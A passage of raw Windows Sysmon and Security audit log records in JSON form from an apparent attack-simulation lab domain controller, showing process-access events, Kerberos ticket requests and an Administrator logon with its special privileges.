C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2570,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2571,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2572,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-4009-5F2D-0000-00105E650400}\r\nSourceProcessId: 4708\r\nSourceThreadId: 4728\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-400A-5F2D-0000-001065680400}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-4009-5F2D-0000-00105E650400}","SourceProcessId":"4708","SourceThreadId":"4728","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-400A-5F2D-0000-001065680400}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2573,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.054\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.054","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221741,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221742,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{B07B1896-D5AD-147F-51FC-9903F282D869}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{B07B1896-D5AD-147F-51FC-9903F282D869}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221743,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{B07B1896-D5AD-147F-51FC-9903F282D869}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{B07B1896-D5AD-147F-51FC-9903F282D869}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221744,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x46A2C\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{B07B1896-D5AD-147F-51FC-9903F282D869}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x46a2c","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{B07B1896-D5AD-147F-51FC-9903F282D869}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221745,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x46A2C\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x46a2c","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2574,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.054\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 